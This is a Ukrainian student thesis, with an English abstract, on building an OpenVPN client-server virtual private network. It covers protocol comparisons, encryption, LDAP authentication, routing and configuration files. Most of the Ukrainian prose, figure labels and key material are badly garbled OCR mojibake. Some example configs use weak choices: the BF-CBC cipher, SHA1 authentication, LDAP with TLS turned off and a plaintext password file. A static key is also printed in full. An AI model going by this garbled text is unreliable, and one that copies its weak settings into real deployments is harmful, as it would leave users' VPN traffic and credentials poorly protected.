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AHOTALIIA

KBanidikauiiina poboTa CkJI1a1a€ThCA 3 MPOEKTY KITIEHT-CEPBEPHOI BIpTyanbHoT 3a-
XHLeHol Mepexi Ha 0asi nmpotokony OpenVPN Ta MosicHIOBaNbHOT 3aMUCKH 10 HBOTO.
[TosicHOBasbHa 3anucka MICTUTB 71 CTOPIHKY i 99 intocTpatiii.

MeToi0 poboTH € po3pobKka MPOoeKTy KIIEHT-CepPBEPHOI BIpTyalbHOT 3axuieHoT
Mepexi Ha 0a3i npotokony OpenVPN

B poGoTi BU3HauYe€HO OCHOBHI 3aB/IaHHA Ha PO3POOKY CUCTEMH, sika 3a0e3rednuTh
3aXKCT O0'€KTY BiZ Malf0yTHBOIO 3JI0BMHCHOrO BTOprueHHs. Takok B po6oTi npoanalti-
30BaHO MOJK/IMBI BapiaHTH /I HECAHKIIIOHOBAHOTO JOCTYITY [I0 MPHBATHOI Mepexi. O0-
FPYHTOBaHA aKTyalbHOI JIaHOI CHCTEMH 3axXHCTy Ta onucaHa cgepa ii BuKkopucTtaHHs. Po-
3p00JIEHO Ta HaaroUKeHO 3arajibHHi MPOeKT Mepexi Ta MOOUIbHUIM A04aTOK-KIIEHT
BIAMOBIZHO 10 MOCTaBA€HHUX BUMOr. HaBeneHo cleHapiil 3aXUCTy Bil aTak, OMHC KOHK-
PEeTHHUX aTaK, 1o OyAyTh BUKOPUCTAHI MpH 100yA0Bal JaHOro npoekTy, iHhopmMaiiitHol
Oe3meKH Ta TeCTyBaHHS ITPOEKTY.

Knrouosi ciosa: VPN, SECURITY, IP. 3BAXWCT, BIPTYAJIbHA TTPUBATHA
MEPEXA, BE3ITEKA
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ANNOTATION

The qualification work consists of a client-server virtual network project based on
the OpenVPN protocol and explanatory notes to it. The explanatory note contains 71
pages and 99 illustrations.

The aim of the work is to develop a client-server virtual network project based on
the OpenVPN protocol

The main tasks for the development of a system that protects the object from future
malicious intrusion are identified. Possible options for unauthorized access to the private
network were also analyzed during the work.

The actuality of this system of protection is substantiated and the sphere of its use
is described. The general project of the network and the mobile application-client are
developed and adjusted according to the set requirements. The scenario of protection
against attacks, the description of concrete attacks which will be used at construction of

the given project, information security and testing of the project are resulted.

Keywords: VPN, SECURITY, IP, SECURITY, VIRTUAL PRIVATE
NETWORK, SECURITY,
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[TEPEJIIK YMOBHUX ITO3HAYEHb

VPN — BipTyanbpHa IpuBaTHa Mepexa

PSK — nonepenHiii ciibHUNA KITIOY

PKI — 30BHImHS 1HQpaCTPyKTypa BIAKPUTHX KIHOUIB

PAM — Pluggable Authhentication Module

LDAP — Lightweight Directory Access Protocol

CRL — Cnucku BiIKJIIMKaHUX cepTU(iKaTiB

IC — Root CA

TLS — Transport Layer Security

Foreground Service — ciryx0a nepeIHboro IiaHy

AIDL — moBa iaTepdeiiciB

ISAKMP — Acorriarist 6e31meku B IHTEPEH1 Ta MPOTOKOJI KEPyBaHHS KIIFOUaMHU
IKE — 00MiH KJIt0YaMu B IHTEPHETI

OpenVPN — Binkputa 0i0mi0TeKa MPUBATHOI BIPTYaJIbHOI MEpexi
IpSec — Internet Protocol Security

Syslog — ctanmapT peecTpartisi HOBiIOMIICHb

SCP — Secure Copy

pfSense — OS mepexeBoro ekpany
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BCTVII

AKTyaJbHICTh TeMH. CbOT0/HI Ty’Ke BKKO YSIBUTH CBIT O€3 IHTEpHETY. | Ko)kHa Taka
TEXHOJIOT1SI MOJKE BUKOPHCTOBYBATHUCSA JTIOJIbMU SIK B OJIarMX IUIAX TaK 1 B HETATUBHUX, TOMY
MU TIOBHUHI JyMaTtd MpO CBOKO K Oe3meKy 1 CTBOPIOBAaTH 1i 3a JIOMOMOIOI JOAATKOBUX
TeXHOJIOT1M abo IHCTpyMeHTiB. B maHiifi AMIIIOMHOI poOOTI BHMCBITIIEHO AaKTyaJIbHICTh
Bukopuctanss VPN Ha 3araasH0000B'SI3KOBOMY PiBHI. 32 JOTIOMOTOIO TEXHOJIOT 1T BIPTYaIbHOT
NPUBATHOI MEPEXKI MOXKHA 3 JIETKICTIO 3MIHIOBATH MICIIE PO3TAllyBaHHS KOPHCTYBaua,
mmgpyBaTy yBech Tpadik Ta OTpUMYBATH JOCTYII JI0 CEPBICIB BLAAICHHOI MEPEKi

Meror kBajidikaniiinoi podoTn € HaOyTTs HABUYOK Ta 3HaHb B Cepi TEXHOJOT1
BIpTyaJIbHOI Mepexi Ha 0a3i Biakpuroro anropurmy OpenVPN

Buznayena Meta 00yMOBITIOE HACTYITHI 3aBJIaHHS:

- 30ip TexHIuHOI iH(pOpMAITii ATTOPUTMY

- OcobmBocTi Biakpuroro anroputmy OpenVPN

- Po30ip Ta cTBOpEHHS aTOpUTMY i KITFOUESHHS JI0 PUBATHOT MEPEK1
- CTBOpeEHHs Ta TECTyBaHHS JA0/IaTKa

- Tlomyk MOXIMBUX Bpa3UBOCTEN B TEXHOJIOT 1T

O06’ekTOM JOCHIIKEHHSI € TEXHOJIOTIS BIPTYallbHOI NPUBATHOI MeEpexi 3
BIJIKDUTUM KITFOUEM

IIpeaMeTomM aOCTiaKEeHHSI € TEXHIYHI OCOOJMBOCTI PO3TOPTAHHS CEpBEpa Ta
kimienTa s OpenVPN

VY npoueci BUKOHaHHA KBami(ikamiiiHOi poOoTH Oylio po3po0iaeHO MOOUIbHMIMA
MPOEKT JJIsL IEMOHCTpAIlii MAKIIOYEHHS A0 BipTyainbHOI Mepexi Ta nmpoekT B GNS3 mis

JIEMOHCTpAIIil pO3TOpTaHHS cepBepa
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PO3/ILJT 1 AHAJII3 TTIPEAMETHOI OBJIACTI TA OBIPYHTYBAHHS
AKTYAJIbBHOCTI TEMU POBOTU

1.1 OOrpyHtryBaHHsl aKTyaJbHOCTI Temu poootu VPN

Tpadix uepe3 [P-mepexi B OCTaHHI pOKU HEYXHIJIBHO 301JIbITY€THCSI.
[IpyuriHaMu TYT €: MOSIBa SIKICHUX HOBUX MOCTYT Y cpepi TpaHCIOPTHUX MOCTYT,
30UTBIICHHS KITBKOCTI MEPEKEBUX MOCIIYT, 301IBIIIEHHS KIJTLKOCTI II100AIbHUX
KOpHCTyBauiB [HTEpHETY, pO3BUTOK HOBUX TEJIEKOMYHIKAIIHHIX TEXHOMIOT1H To1mo. Li
3MIHU CTBOPIOIOTH HOBI IIpo0JieMu 3 TpadikoM, Taki sIK He3aXHuIeHUuH Tpadik,
CTBOPIOIOTH HOBI MO>KJIMBOCTI ISl 3JI0MY Ta BIJKPUBAIOTH JABEPI ISl BPa3IMBUX

KOpPHUCTYyBauiB [HTepHETY.

Lleneson
2 | OTKPbITBIN pecypc

Knuent VPN-cepsep

Pucynox 1.1 — Burnsin mepexi npu kopuctyBanHi VPN cepBepy

BaxxnuBicTh 3axucTy 1H(QOPMAIIHHUX pECypCiB HEMOKIIMBO NEPEOLIIHUTH — 1€
Oe3rocepeIHbO BIUIMBAE Ha OC3IEeKy JaHUX, [0 HAJIeKaTh KIIIEHTaM,

YHEMOXJTUBITIOIOUHN TIEPEXOIUICHHS, cllaM a00 OJIOKYBaHHS JJAHUX KIIIEHTIB IEBHUMHU

CCpBCpaMu.
KnienT LlinboBwii_pecypc
m BiakpuTwii Tpadix
Pucynox 1.2 — Burusia 3Bu4aitHoi Mepexi
Kobununcoxuii B Apk.
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IlepeBaru VPN:

1. BuTpaTH Ha MIATPUMKY MpaIE3TaTHOCTI MEPEXi Mailke HeMae (JOoCTaTHbO
a0OHEHTCHKOT IJIaTH 32 OPEHI0BaH1 KaHAJIN)

2. oprasizailis Ta pecTpyKTypuzailisa mepexi 3pydHa. [loctynm mo IHTepHer-
pecypciB O€3KOITOBHHM, HOTO MOXE OTPUMATH OyJIb-XTO 3 OYIb-IKOi TOUKH
TJIAaHETH.

3. IlpuxoByBaHHs akTUBHOCTI. 3a gonomoroio VPN MoXHa MPUXOBATH CBOIO
aKTUBHICTH HAa HEOAKOHOMY OHJIAH pecypci

4, JlocTyr 10 BMICTY B 3a0JI0KOBOHOMY PET10HI1

5. lIundpysanus

Kpim Toro, nmns mepemaui  VPN-Tpadiky uepe3 3araiabHOIOCTYMHI — MEpExKi
BUKOPHCTOBYIOTHCS MEXaHI3MU TYHEIIOBaHHS 1 M (pyBaHHA TpadiKy. 3aBISKHU TyHEIIO
NAKEeTH NEPEMILIYIOThCS MO 3araJbHOJOCTYIHIM MEpexi, K y 3BUYAHOMY 3’ €HaHHI
«TOYKa-TouKa». I KOXKHOI Mapy «BIANPABHUK-OTPUMYBAU» OPTraHi30BaHO CBOEPIIHUN
TyHEJIb — O€3IeYHe JIOTIYHE 3’ €IHAHHS, SIKE€ JO3BOJISE 1HKANCYIIOBATH JIaHl 3 OJIHOTO

IIPOTOKOJIY B ITAKCTH 3 1HIIIOTO.

Henouaixu VPN:
1. 30unbleHHs CTIOKUBaHHS Tpadika
2. Kouoinenmiitnicts. HacnpaBai VPN-cepBic He rapaHTye TMOBHOI aHOHIMHOCTI.
3amicts [P-ampecu kopuctyBaya MOXHa 1IeHTU(PIKYBATH THIIMMH NUISIXaMH — 32
udpoBuMH BitOuTKaMu, cookie-daitnamu, hakTopaMu MOBEAIHKH TOIIIO.
3. beskomroBHi VPN cepBicr MOXXyTh Mpo/aBaTy Balli 1aHi

4. YTNoBUIbHEHHS IIBUJKOCTI IHTEPHETY

1.2 Orasn icHywunx nporokoJis VPN

HixTo He 3MO3ke BIAIIOBICTH Ha MUTAaHHS, gKa 3 TexHoaorid VPN miaxoanTs
HaNOUIbIIE caMe JJIsl KOHKPETHOI MepexkKi, TOMY MOTPIOHO BMITHU iX PO3PI3HATH Ta

oOMpaTH HAMOUIBII IMAXOAIYUI TPOTOKOJ BiIOBITHO 1O BUMOT.
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Ta6mus 1.1 — [opiBusiHHS ipoTokomiB VPN

IIporoxoJa

OpenVPN [IBunko

Wireguard [IBuako

IKEV2/IPSec [IBunko

IPSec Cepenne
SSTP HIBunko
SoftEther IBuaxo

L2TP/IPSec Cepenne

PPTP [IBuaxo

HIBuakKicTL

HIudpyBanus Cra0inbHicTh  JlOCTYHmHICTH

Jlobpe Jlobpe +
Jlobpe Jlobpe +
Jlobpe Jlobpe +
Hobpe Jlobpe +
Jlo6pe Jlo6pe Windows
Hob6pe Jlo6pe Windows
Cepenne Jlobpe +
[Torano Jlobpe +

Ha ta6u. 1.1 nmoka3ani HaOUTBII BJIOMI POTOKOJIU MU(GPYBaHHS Ta X OIIHKH, 32

TabJHUIICIo cTae 3po3yMiso 1o Jigepamu € OpenVPN Ta Wireguard npotokoiu, aje €

HanoLTpmI mikaBuM OPenVPN 3 oro OiIbIN CKIaJHUM METOJOM PO3TOPTaHHS CEPBEPY

Tabnuus 1.2 — Pi3Hi mporokomu Ta iX piBHi B cteky TCP/IP

IIpoToxko. Crex TCP/IP
IPSec Network
L2TP Network

OpenVPN Application
PPTP Local Access

SSL/TLS Application

B Ta6:. 1.1 moka3zaHo HaRHO1IbIIT BiJOMi IPOTOKOJIHU Ta iX piBeHb B cTexy TCP/IP.
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IPsec packet

RidlikaL P PLE

Pucynok 1.3 — Burnsan nakery IPsec

Etbeirrmat

CRUIDP OnanvP i
IP haadar ’
Pzl sy

Payload
header Fezadlar '

Etherael payloas
IP pavhod

TCRSLIOF gagloss

Pucynok 1.4 — Burnsag makety OpenVPN

IP Header
(IPw4: 20, IPv6: 40 bytes)

UDP Header( 8 bytes)

IP Header

Authentication Tag
(16 bytes)

re
o[

Pucynok 1.5 — Burnsa nakery WireGuard

1370 IPsec Auth
Heaider Tiraa ilsr

OpenyFH payload
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1.2 Amnani3z nporokoay OpenVPN

Otxe, OpenVVPN 6yB po3pobsiennii B 2001 porri Ta BiH € BIIKPUTUM
MPOTOKOJIOM, TOOTO Oy/Ib-siKa JIFOJIMHA MOXKE KPUTHUKYBAaTH 200 BUKOPUCTOBYBATU KOJI
SIK 3aBrOJIHO. TakuM 4MHOM, 1€ TOPOIXKYE CHIIBHOTY MPOTPAMICTIB, SIKi TOCTIHHO
MOKpPAIIyIOTh MPOAYKT Ta OOHOBIIIOIOTH MPOTOKO. e ocHOBHA nepeBara npoToKoy
HaJl IHIIMMH NIPOTOKOJIaMH, K1 Oyyu nornepeanbo ocBitieHi. OpenVPN mpoTokosn
po3ainserbest Ha 1Bi rimku: OpenVPN UDP ta OpenVVPN TCP.

OpenVPN UDP — posmudpoyetncs sik User Datagram Protocol (ITpotokour
JeiiTarpaM KOPUCTyBaya) 1 BiH BKJIIOUAE MPABUJIA 32 IOMOTOIO SIKUX MOXKHA [IBUIIEC
MIPOTOKOJI BUKOPUCTYBATH B SIKHXOCh CTPUMIHTOBUH CEpBicax, OHJIAiH irpax, Tomlo. Jle
IIBUJIKICTh € HAUOUIBII BAKJIUBOIO, YUM BTpaTa Kajapy.

OpenVPN TCP - posmudposyetses sk Transmission Control Protocol (ITporokon
YOPABJIIHHS NEpeayero) 1 BIH K BUAHO 3 HA3BU OUIBII JIETaIbHO KOHTPOIIIOE Kaapu. Lle
3BICHO MIPU3BOAUTH JO MEHIIIOI IIBUAKOCTI, ajie 3a3BUYail € OIbII HAIHHUM

3’ ¢ JHAHHSM.

root@Ubuntu-Server:~# ./openvpn-install.sh
Welcome to the O \ 1
The git repository 1is available at: https://github.com/angristan/openvpn-install

ler!

I need to ask you a few questions before starting the setup.
You can leave the default options and just press enter if you are ok with them.

I need to know IPv4 address of the network interface you want OpenVPN listening to
Unless your server is behind NAT, it should be your public IPv4 address
IP address:

Checking for IPv6 connectivity..
Your host does not appear to have IPv6 connectivity.
Do you want to enable IPv6 support (NAT)? [y/n]: n
t do you want OpenVPN to listen to?
fault: 1194
) Custom
) Random [4915

choice [1-3]:

protocol do you nVPN to use?
er. Unles is not available, you shouldn't use TCP

WU B WM et

) FDN (France)
7) DNS.WATCH (Germany)

Pucynok 1.6 — HanamryBanus cepsepa OpenVPN wa Ubuntu
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Hait61s1p111 BaxxiMBUM J171s1 TPOTOKOITY € 1mudpyBanHs, Tomy OpenVPN niarpumye

JeKiabKa mudpiB, aje K CTaHaapT BiH peaiizye 256-0iToBe mmdpysanusa(AES-256).

Bin BukopuctoBye 0i0moTexky OpenSSL i 3axuct TpancmoptHOro piBHs (TLS)

MIPOTOKOJTY, 1110 3a0e3neuye MilHe Ta HaalitHe pimeHHs. [ludpysanns OpenVPN

CKJIQIa€ThCS 3 ABYX YAaCTUH: MU(pyBaHHS KaHATY TaHUX Ta MU(PpPyBaHHS KaHATY

KEpyBaHHS.

List of allowed cipher

* DES-CBC

« RC2-CBC

* DES-EDE-CBC

* DES-EDEI-CBC
« DESA-CBC

« BFLCBC

« HCZ-AU0-CBC

« CAS-CBC

» RC2-64-CBC

* AES-]

I.:'j;!—l-.\.

= Bad

B

« AES-1HZ-CBC

L ]
=

= one

¥ §

ES5— 290

S |
_.l\-I

B

il
[

Pucynox 1.7 — Cnucok go3Bosienux mudpis ais OpenVPN

[IudpyBanns kaHATy JaHUX CKJIAIa€Thes 3 MUdpy Ta xen-ayreHTudinkarii ais

3axucty nanux. lludpyBanus kanainy kepyBaHHs a0o mudpyBanHsa TLS ckiageTses 3

mudpy, Xemr-ayTeHTUdIIiKarii Ta mudpyBaHHsS pyKOCTUCKAHHS 1100 3aXUCTUTH

3’€IHAHHS MDK BammuM pucTpoeM 1 cepsepoM VPN. Anroputm abo mmdp Koxye naHi,
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Oe3MeUHM XelI-aaropuT™ ayTeHTUdikye nani Ta 3’ eaHanHs SSL/TLS, a mudpyBanas
pykoctuckanns(Diffie-Hellmann) saxumae 3’eqnanss

3a nonomororo cepTudikaiiiftHoi ayreHTHdiKaii 3a0ecrnedy€eThCsi KOHTPOIb 3a
niaKIroYeHHIM kopuctyBauiB kK OpenVPN cepgepy. [1o 3akinueHHs aii ceptudikara
a0o0 BIIXUJICHHS HOTO, TOCTYI KOpUCTyBauda 050KyeTbes. [IpuBarHi kimtoui 3
BCTAHOBJICHUM TIAPOJIEM, SIKi CTBOPIOETHCS CYMICHO 3 cepTHdIKaTOM 3a0€3MeIyI0Th
0e3MeKy OT HECAHKI[IOHOBAHOTO MIAKIIOYEHHS A0 BHYTPIIIHUX pecypciB. 3a3Buuai
cepTuikailisi CTBOPIOETHCSI HA OKPEMOMY CEpBEpi.

3 TOYKH 30py MIAKIIOUEHHS 10 PECypCiB KOMITaHii IpuBaTHI Kitoui Point-to-point
BUKOPHCTOBYIOTBCS TUIBKH JUJIsl OJJHOTO KIIIEHTa/cepBepa 1 BAKOPUCTOBYETHCS CXEMa 3
IpUBATHUMHU KitouaMu. Ha 0THOM 3 XOCTIB T€HEpY€eThCS KIT0Y, AKi € CyMICHUM SIK JIJISt
cepBepa Tak 1 s KiieHTa. SIKio Mu Xxo4emo 100 10 OJJHOTO cepBepa Oyiia
MOXJIMBICTh MIAKIIOUCHHS JEKUIBKOX KIIE€HTIB MM BUKOPUCTOBYEMO CHeEIliadbHUM ¢uiar,
SKHUI T03BOJISIE HAM 11€ 3pOOUTH.

30BHiIIHS ayTeHTU(DIKAIlT KOPUCTYBaiB JJIsi CIIPOILEHHS KOHTPOJIS 3a
N1IKIFOYEHHAM, 3aMicTh cxemH 31 cBoiM PKI (3oBHimHS iH(pacTpyKTypa BIAKPUTUX
KJTFOU1B), MO’KHA BUKOPUCTOBYBATH CXEMY 3 30BHIIIHOMN ayTeHTU(]IKaIlI€I0
KOPHUCTYBAauiB M0 JIOT1HY Ta napouto. Ll cxema € 3py4Horo JIJ1s1 KOPUCTYBayiB 110
JIOMEHHOMY JIOT1HY Ta MapoJIsl.

Ha cToponi cepBepa nepeBipky iMEH1 KOpUCTyBaya Ta mapoJisi MOXKHA 3po0OUTH 3a
JIOTIOMOTOI0 KIJTbKOX MEXaH13MiB:

e Buxkopucranss ¢aiiny naposiB Ha CTOPOHI cepBepa, SKUH MICTUTh 1M’ 5

KOpPHUCTYyBaya Ta HOTO XEIIOBaHI MapoJi.

e Buxopucrannas PAM (ckopouenns Big Pluggable Authentication Module), sikwmit

3a3BUYail BXOJUTH Yy BCi onepailiitai cuctemu Linux/UNIX.

e BukopucTaHHs LIGHTPaJILHOTO CepBepa KaTayioriB Ha ocHOBI Lightweight

Directory Access Protocol (LDAP). 3Bepnits yBary, mo i LDAP, i Active

Directory Tako» MO>KHa BUKOPUCTOBYBATH 3 PI3HUMH MOTyisiMu PAM.

Haiinpocrimmii ciocid orpumMatu aBTeHTUdikaiio ceppepa LDAP - e

BUKOPUCTOBYBATH MOyJib openvpn-plugin-ldap. ¥ Ginbmocti auctpudyTuBiB Linux 1ie

Kobununcoxuii B Apk.
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MOJIyJIb TOTPIOHO BCTAHOBUTH OKPEMO.
[Ticnst ycminHoro BCTAHOBJICHHS TUIATiHY, TOTPIOHO JTOAATH OJUH PSJIOK 10 (ailiry

koH(pirypamii OpenVPN cepsepy auB.puc.1.8

proto udp

port 1194

dev tun

server 10.200.0.0 255.255.255.0
topology subnet

persist-key

persist-tun

keepalive 10 60

remote-cert-tls client
tls-auth /etc/openvpn/movpn/ta.key 0

dh /etc/openvpn/movpn/dh2048.pem
ca /etc/openvpn/movpn/movpn-ca.crt
cert /etc/openvpn/movpn/server.crt
key /etc/openvpn/movpn/server . key

user nobody
group nobody # use 'group nogroup' on Debian/Ubuntu

verb 3
daemon
log-append /var/log/openvpn.log

plugin /usr/lib64/openvpn/plugin/lib/openvpn-authldap.so \
"/etc/openvpn/movpn/movpn_ldap.conf"

Pucynok 1.8 — Lightweight Directory Access Protocol nonaBanss B KoHIrypamiiHuit

daiin

BwmicT nporo ¢aitny mae OyTu cxoxkeHui Ha AuB. puc. 1.9

<LDAP>
URL ldaps://ldap.example.org
Timeout 15
TLSEnable no

FollowReferrals vyes
TLSCACertFile /etc/pki/tls/certs/ca-bundle.crt
TLSCACertDir /etc/pki/tls/certs

</LDAP>

<Authorization>
BaseDN "ou=LocalUsers, dc=example, dc=org"
SearchFilter "(&(uid=%u)(authorizedService=login))"
RequireGroup false

</Authorization>

Pucynok 1.9 — Jlemonctpariis daiiny HanamryBanuas Lightweight Directory Access

Protocol

Kobununcoxuit B

Kpyuuncokuu A.T KIKKPE - 125 - 08 - I73

3mn. | Apk. Ne doxym. Iionuc | dama

Apx.

16




JIns miakIIroYeHHs 10 cepBepa B (aiiiii KirieHTa J0/1a€Thes cepTudikaT cepBepa 1

KJIIO4 HiI[HI/ICY nepcaaBacMux ITaKEeTIB.

dev tun

proto udp

# BHewnwid IP cepeepa OpenWPN
remote 172.16.111.166

# Port cepeepa

port 1206

client

resglv-retry infinite
tls-client

key-direction 1

auth SHAl

cipher BF-CBC

#comp-lzo

persist-key

persist-tun

#

auth-user-pass c:/temp/pass.txt
#

# just create a file with name pass.txt

# and put to it two lines

#username

#password
#auth-user-pass

verb 3
{ca»

<fcar

<tls-auth>

33ddd29ta3221213859d85a41498134c

adf2c7df3a22364249093bcald2dedeb

----- END OpenVPM Static key V1-----

</tls-auth>

Pucynok 1.10 — Burnsan koHdirypauiitHoro ¢ainy KiieHTa

dyHnKIis 30BHINIHBOI iHGpacTpyKTypH BinkpuTux kirouiB (PKI) Access Server
iHTerpye ACCESS Server i3 CTopoHHIMH 1HCTpyMeHTaMu aiist kepyBanHs X.509 PKI

3aMICTh BUKOPUCTaHHS BOYJIOBAaHUX MOXKJIMBOCTEH KepyBaHHS cepTU(hiKaTaMHU.

Kobununcoxuii B Apk.
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Status Overview

coss Server

v

Active Configuration

ALTHENTICATION

General

& Stop VPN Seevices

Pucynok 1.11 — Burnsan Access Server kaGiHeTy ynpaBiaiHHS

Cepsep OpenVPN niarpumye Tak 3BaHy BiAK/Ia/ieHy aBTeHTU(]iKawio. BincTpoueHa

ayTeHTU]IKallisi BAKOPUCTOBYETHCS Y BUIAKAX, KOJIM CEPBIC ayTeHTU(IKAIT HE MOXKY

0OCITY’KUTH 3alUT MEPEBIPKH JIOTIKM Ta NAPOJI0 y peaJbHOMY PEXHUMI Hacy.

server port and protocol

tunnel type

paths to certificates and keys

server's virtual IP network and subnet mask

keep alive value

encryption cipher
enables LZ0 compression

specifies not to re-read key files

specifies not to cdose or re-open TUN/TAP device

sets verbosity level

sends peers an exit notification if tunnel is restarted

—— specifies path to dient config directory
L persists /unpersists ifconfig-pool data to the spedied file

Q{ *CA\Program Files\OpenVPM\config\laptop_server.ovpn - Notepad++ - O bt
File Edit Search View Encoding Language Settings Tools Macro Run Plugins  Window 7 X
sEHHEH® eeLIEM |c_;’) |ﬂﬂi‘ﬂ|<§ g|~—"I.C'I.|E_~' EmRER 7
[= laptop_server.avpn E3 l
1 port 1194~ |
2 proto 'Jdpu
3 dev tun defi
4 ca "C:\\Program Files\\CpenVPN\\config\\ca.crt"
5 cert "C:\\Program Files\\Open\’PN\\config\\server.cxtT‘
& key "C:\\Program Files\\Open\FPN\\config\\server.key'J
7 dnh "C:\\Program Files\\CpenVPN‘\config\\dh2048.pem"
server 10.8.0.0 255.255.255.0
= keepalive 10 120
10 cipher AES-256-CBC
11 comp-1lzo
12 persist-key
13 persist-tun
15 verb 3
15 explicit-exit-notify 1
16 client-config-dir "C:\\Program Files\\OpenVPN\\config\iccd"
17 ifconfig-pool-persist "C:\\Program Files\\CpenVPH\\log\\ipp.txt™ 5
length:492 lir Ln:18 Col:1 Sel:0|0 Unix (LF) UTF-8 INS

Pucynox 1.12 — Burnsin koHdirypariitHoro (aitiry cepepa

OpenVPN mapuiputusye Tpadik y Hboro € pexkuma poootu. [lepmmii — e

MmapmpyTu3aiis Bcepenuni OpenVPN cepsepa, npyruii — e Mmyxintepderica saepHa
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MapuipyTusaiis. Y nepiomMy BUMaAKy 3a KOMyTarlito makeTiB Bijnoigae OpenVPN

cepBep, Y IpyroMy Oyib-sIKMM MaKeTHUH (IIBTP, IO MIATPUMYETHCS Ha XOCTI.

Q  Packet Filter ! Internal networks to Zentyal
_ Configure Rules
0 sht §
<

+ Auumw Q

-

Webs Sarver s

0
Oig

s * vy o pasve sNp passive for users o /7 @

)

N Mantonar ¢ * 2wy http://wwwitecmint.com o7 @
Pucynok 1.13 — Bursin maketHoi iapTpartii

Ak 1 Oynp-axuil 1HIIMHA iHTEpdeiic y cucteMi abo cepBepi, iHTepdeiicu aganrepa tun i
tap MoxHa BiA(IILTPYBATH 3a JOIMOMOIOI0 BIAMOBITHOT ONEpAIiiHOT CUCTEMH
nporpaMHe 3a0e3nedyeHHs Opanamayepa. Y 6araTboX BUINAAKaX, K JUIsl MapIIpyTHU3allii,
Tak 1 A1 GinpTparii, Halikpaie jorigHo po3mictuTt cepBep OpenVPN B nenTpanbHii
Mepexi. Hanpukian 61151 puKOpAOHHOTO MapiipyTu3zaropa abo no0au3y Hboro. J{is
JOMY 1ie, IIBUALIE 3a Bce, kKabenbHuii a0o0 DSL-MozneM. ¥ KopnopaTUBHHX Mepexax e
3a3BUyai OyJe (paKTUUYHHUI OCHOBHUM MaplIpyTH3aTOp, Takuid sk npuctpiid Cisco abo

THIIHHA.

P ~

W Corporate; Home \

Network /I

\_,/'\\-_-/ /

Firewall OpenVPN /

, Server
\____/\ //

Firewall/OpenVPN
on Single System

Border Router

Pucynox 1.14 — Burnsig mepesxi npu GiuasTpariii

106 mocsArTy HAMOUTBII THYYHOKOTO pe3yJIbTaTy, MOTPIOHO Oy/1e BUKOPUCTATH

CTOPOHH 1 IPOEKTU, HATTPUKJIIA];

Kobununcoxuii B Apk.
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1. pfSense

2. OpenWRT

L1i cucremu 3amycKaroTh MporpaMHe 3a0e3MeUeHHsl, sike 3a0e3mevye MpoCTHit

rpadiuauii iHTepdeiic 11 KepyBaHH 0€3JPOTOBUMHU MEPEKaMH, IMiIKIIOUESHHIMU 10

[atepuety, VPN ex3emiuisipu Ta mpaBuiiaMu OpaHaMay3epa, sSKe 3aXHINae iX ycix.

Jlns 6e3mexu OpenVPN 3’eqHaHHs NoTpibeH cekpeTHuil kmod. Moro motpioHo

3reHepyBaTH Ha CTOPOHI cepBepa, a MOTIM 3a lonoMoroto, Hanpukiaa SCP nepenatu

3reHepPOBaHUH KITIOY JI0 KIIIEHTA

H
# 2048 bit OpenVPN static key

----- BEGIN OpenVPN Static key V1-----

1393ae687606c1f7d465d70227bf63e8
8963e9d1401450002d073d6eablbffde
b06d1a33cc5c45d4a667016339e921d3
3ac36b1a949eb52e9217e41e4b035a7b
987ddfa9d6766d3h5e4c952dc27f518d
12ccff6b2f0966284382ddcof62h824a
f576f0982beec9d6a4728d0788499a75
0fd7055ef681404Ffd463d9862d3a40a9
31fca7d87997c70c07b8303al1b85f1ff
76aa7790e7c341353d2b4ea5049b11a2
51346e7dd39fc1lfle53ae57c46cT60c8
24db00a871262fee78050a9df6a57322
0bb0d980b6cf1beg90a2f304f99fb9cde
7cdf72d20e7dee555¢c7¢c99950aa4d8e6
86a020c3a63125fbh99d56181ff4ca2bc

d6711

eabl5a4d6éfaf706f2601eb6 61b7

Pucynok 1.15 — CekpeTHuil K104
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[1106 3anmycTUTH cepBep 3 CEKPETHUM KIIFOUEM JIOCTaThO OyJ/ie BBECTH TaKy KOMaHIY

nuB. puc. 1.16.

[root@server] # openvpn \
--ifconfig 10.200.0.1 10.200.0.2 \

--dev tun \
--secret secret.key \
--verb 7

Pucynox 1.16 — 3anyck cepsepa OpenVVPN

JJis migKITIOYeHHSI KJTIEHTA 10 cepBepa HEOOX1THO BBECTU CX0XKY KOMaHIY

[root@client] # openvpn \

-ifconfig 10.200.0.2 10.200.0.1 \
-dev tun \

-secret secret.key \

-remote openvpnserver.example.com

Pucynox 1.17 — 3anyck kiieHTa
Sxmo Bce Oyie BUKOHAHO TIPABMIIBHO, TO Ha CTOPOHI CepBepa 3'IBUTHCS TaKUW HAJITUC

Static Encrypt: Cipher 'BF-CBC' initialized with 128 bit key
Static Encrypt: CIPHER KEY: 1393ae68 7606c1f7 d465d702 27bf63e8
Static Encrypt: CIPHER block_size=8 iv_size=8
Static Encrypt: Using 160 bit message hash 'SHA1' for
HMAC authentication
Static Encrypt: HMAC KEY: 987ddfa9 d6766d3b 5e4c952d c27f518d 12ccffé6b
Static Encrypt: HMAC size=20 block_size=20

Static Decrypt: Cipher 'BF-CBC' initialized with 128 bit key
Static Decrypt: CIPHER KEY: 1393ae68 7606cl1f7 d465d702 27hf63e8
Static Decrypt: CIPHER block_size=8 iv_size=8
Static Decrypt: Using 160 bit message hash 'SHA1' for
HMAC authentication
Static Decrypt: HMAC KEY: 987ddfa9 d6766d3b 5e4c952d c27f518d 12ccffé6b
Static Decrypt: HMAC size=20 block_size=20

Pucynox 1.18 — Jlor migkmroueHHsT KOPUCTYBada 10 cepBepa

[Tepm 3a Bce, OpenVPN BukopucroBye ceptudikatu X.509 nnsa aprenTudikamii

KJieHTa Ta mu@pysanns Tpadiky VPN, xoya 110 NIATPUMKY MOXHA BUMKHYTH.

Kobununcoxuii B Apk.
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JIMBIISIYUCH Y CIMCKY PO3CUJIKM Ta icTopii kaHasiB IRC HamamtyBaHHs Ta

obOciyroByBaHHs iHGpacTpyKTypH npuBatHuX KirodiB (PKI) ns ceptudikarie X.509 €

CKJIaJIHUM KOHIIETIIis, 1 [1e MOKe OYTH TPOMI3IKIM 3aBIaHHSIM.

VY ngidikoBomy ¢aiini OpenSSL € BCi IHCTpYMEHTH, HEOOX1TH1 ISl PyYHOT'O KEpYyBaHHS

PKI, ane mapameTpu KOMaH/1 € CKJIaJHUMU 1, SIKIIIO HE aBTOMATU30BaH1, MOXYTb OyTH
CXHJIBHUM JI0 TIOMUJIOK. PekoMeHTy€eThCs, o0 opranizaiiii abo okpeMi ocoou

BUKOPHUCTOBYBAJIU CIIeHApii abo0 1HIIMH mmakeT i kepyBaHHs cBoiMu PKI. 1le e

